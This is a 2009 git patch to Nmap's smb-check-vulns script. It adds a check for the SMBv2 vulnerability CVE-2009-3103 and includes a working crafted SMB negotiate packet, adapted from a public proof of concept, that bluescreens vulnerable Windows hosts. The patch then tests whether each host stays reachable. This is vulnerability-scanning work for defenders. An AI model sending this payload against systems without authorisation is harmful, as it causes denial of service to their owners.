From 32d9c9fe98321319c4432dc2e12d0194b0674b77 Mon Sep 17 00:00:00 2001 From: ron Date: Mon, 14 Sep 2009 15:23:06 +0000 Subject: [PATCH] Added a check for a SMBv2 vulnerability (CVE-2009-3103) to smb-check-vulns. Due to its nature (it performs a DoS, then checks if the system is still online), the script isn't run by default and requires a special script-arg to work. --- CHANGELOG | 5 ++ scripts/script.db | 2 +- scripts/smb-check-vulns.nse | 111 +++++++++++++++++++++++++++++++++++- 3 files changed, 114 insertions(+), 4 deletions(-) diff --git a/CHANGELOG b/CHANGELOG index 9d251805f..4ce73e535 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,5 +1,10 @@ # Nmap Changelog ($Id$); -*-text-*- +o Added a check for a SMBv2 vulnerability (CVE-2009-3103) to + smb-check-vulns. Due to its nature (it performs a DoS, then checks + if the system is still online), the script isn't run by default + and requires a special script-arg to work. [Ron] + o Fixed an integer overflow that could occur when a target with a low TCP timestamp clock frequency uses large timestamp values, such that a naive uptime calculation shows a boot time before the epoch. Also diff --git a/scripts/script.db b/scripts/script.db index 47287f7bf..7f12743c0 100644 --- a/scripts/script.db +++ b/scripts/script.db @@ -39,7 +39,7 @@ Entry { filename = "robots.txt.nse", categories = { "default", "discovery", "saf Entry { filename = "rpcinfo.nse", categories = { "default", "discovery", "safe", } } Entry { filename = "skypev2-version.nse", categories = { "version", } } Entry { filename = "smb-brute.nse", categories = { "auth", "intrusive", } } -Entry { filename = "smb-check-vulns.nse", categories = { "intrusive", } } +Entry { filename = "smb-check-vulns.nse", categories = { "dos", "exploit", "intrusive", } } Entry { filename = "smb-enum-domains.nse", categories = { "discovery", "intrusive", } } Entry { filename = "smb-enum-processes.nse", categories = { "discovery", "intrusive", } } Entry { filename = "smb-enum-sessions.nse", categories = { "discovery", "intrusive", } } diff --git a/scripts/smb-check-vulns.nse b/scripts/smb-check-vulns.nse index 90440481f..3a78ec9ce 100644 --- a/scripts/smb-check-vulns.nse +++ b/scripts/smb-check-vulns.nse @@ -3,6 +3,7 @@ Check for vulnerabilities: * MS08-067, a Windows RPC vulnerability * Conficker, an infection by the Conficker worm * Unnamed regsvc DoS, a denial-of-service vulnerability I accidentically found in Windows 2000 +* SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497) WARNING: These checks are dangerous, and are very likely to bring down a server. These should not be run in a production environment unless you (and, more importantly, @@ -44,6 +45,12 @@ reported to Microsoft (case #MSRC8742). This check WILL crash the service, if it's vulnerable, and requires a guest account or higher to work. It is considered unsafe. +SMBv2 DoS -- performs a denial-of-service against the vulnerability disclosed in +CVE-2009-3103. Checks if the server went offline. This works agianst Windows Vista +and some versions of Windows 7, and causes a bluescreen if successful. The proof- +of-concept code at was used, +with one small change. + (Note: if you have other SMB/MSRPC vulnerability checks you'd like to see added, and you can show me a tool with a license that is compatible with Nmap's, post a request on the Nmap-dev mailing list and I'll add it to my list [Ron Bowes]). @@ -58,7 +65,8 @@ on the Nmap-dev mailing list and I'll add it to my list [Ron Bowes]). -- | smb-check-vulns: -- | MS08-067: FIXED -- | Conficker: Likely INFECTED --- |_ regsvc DoS: VULNERABLE +-- | regsvc DoS: FIXED +-- |_ SMBv2 DoS (CVE-2009-3103): VULNERABLE -- -- @args unsafe If set, this script will run checks that, if the system isn't -- patched, are basically guaranteed to crash something. Remember that @@ -70,7 +78,7 @@ on the Nmap-dev mailing list and I'll add it to my list [Ron Bowes]). author = "Ron Bowes" copyright = "Ron Bowes" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" -categories = {"intrusive"} +categories = {"intrusive","exploit","dos"} -- Set the runlevel to >2 so this runs last (so if it DOES crash something, it doesn't -- till other scans have had a chance to run) runlevel = 2 @@ -300,6 +308,89 @@ function check_winreg_Enum_crash(host) return true, PATCHED end +local function check_smbv2_dos(host) + local status, result + + if(nmap.registry.args.safe ~= nil) then + return true, NOTRUN + end + if(nmap.registry.args.unsafe == nil) then + return true, NOTRUN + end + + -- From http://seclists.org/fulldisclosure/2009/Sep/0039.html with one change on the last line. + local buf = string.char(0x00, 0x00, 0x00, 0x90) .. -- Begin SMB header: Session message + string.char(0xff, 0x53, 0x4d, 0x42) .. -- Server Component: SMB + string.char(0x72, 0x00, 0x00, 0x00) .. -- Negociate Protocol + string.char(0x00, 0x18, 0x53, 0xc8) .. -- Operation 0x18 & sub 0xc853 + string.char(0x00, 0x26) .. -- Process ID High: --> :) normal value should be ", 0x00, 0x00" + string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xfe) .. + string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54) .. + string.char(0x57, 0x4f, 0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x41, 0x4d, 0x20, 0x31) .. + string.char(0x2e, 0x30, 0x00, 0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30, 0x00) .. + string.char(0x02, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x57) .. + string.char(0x6f, 0x72, 0x6b, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x73, 0x20, 0x33, 0x2e, 0x31, 0x61) .. + string.char(0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x4c) .. + string.char(0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x32, 0x2e, 0x31, 0x00, 0x02, 0x4e, 0x54, 0x20, 0x4c) .. + string.char(0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00, 0x02, 0x53, 0x4d, 0x42, 0x20, 0x32, 0x2e) .. + string.char(0x30, 0x30, 0x32, 0x00) + + local socket = nmap:new_socket() + if(socket == nil) then + return false, "Couldn't create socket" + end + + status, result = socket:connect(host.ip, 445) + if(status == false) then + socket:close() + return false, "Couldn't connect to host: " .. result + end + + status, result = socket:send(buf) + if(status == false) then + socket:close() + return false, "Couldn't send the buffer: " .. result + end + + -- Close the socket + socket:close() + + -- Give it some time to crash + stdnse.print_debug(1, "smb-check-vulns: Waiting 5 seconds to see if Windows crashed") + stdnse.sleep(5) + + -- Create a new socket + socket = nmap:new_socket() + if(socket == nil) then + return false, "Couldn't create socket" + end + + -- Try and do something simple + stdnse.print_debug(1, "smb-check-vulns: Attempting to connect to the host") + socket:set_timeout(5000) + status, result = socket:connect(host.ip, 445) + + -- Check the result + if(status == false or status == nil) then + stdnse.print_debug(1, "smb-check-vulns: Connect failed, host is likely vulnerable!") + socket:close() + return true, VULNERABLE + end + + -- Try sending something + stdnse.print_debug(1, "smb-check-vulns: Attempting to send data to the host") + status, result = socket:send("AAAA") + if(status == false or status == nil) then + stdnse.print_debug(1, "smb-check-vulns: Send failed, host is likely vulnerable!") + socket:close() + return true, VULNERABLE + end + + stdnse.print_debug(1, "smb-check-vulns: Checks finished; host is likely not vulnerable.") + socket:close() + return true, PATCHED +end + ---Returns the appropriate text to display, if any. -- --@param check The name of the check; for example, 'ms08-067'. @@ -375,7 +466,21 @@ action = function(host) elseif(result == NOTRUN) then response = response .. get_response("regsvc DoS", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1) else - response = response .. get_response("regsvc DoS", "FIXED", "add '--script-args=unsafe=1' to run", 1) + response = response .. get_response("regsvc DoS", "FIXED", nil, 1) + end + end + + -- Check for SMBv2 vulnerablity + status, result = check_smbv2_dos(host) + if(status == false) then + response = response .. get_response("SMBv2 DoS (CVE-2009-3103)", "ERROR", result, 0, 1) + else + if(result == VULNERABLE) then + response = response .. get_response("SMBv2 DoS (CVE-2009-3103)", "VULNERABLE", nil, 0) + elseif(result == NOTRUN) then + response = response .. get_response("SMBv2 DoS (CVE-2009-3103)", "CHECK DISABLED", "add '--script-args=unsafe=1' to run", 1) + else + response = response .. get_response("SMBv2 DoS (CVE-2009-3103)", "FIXED", nil, 1) end end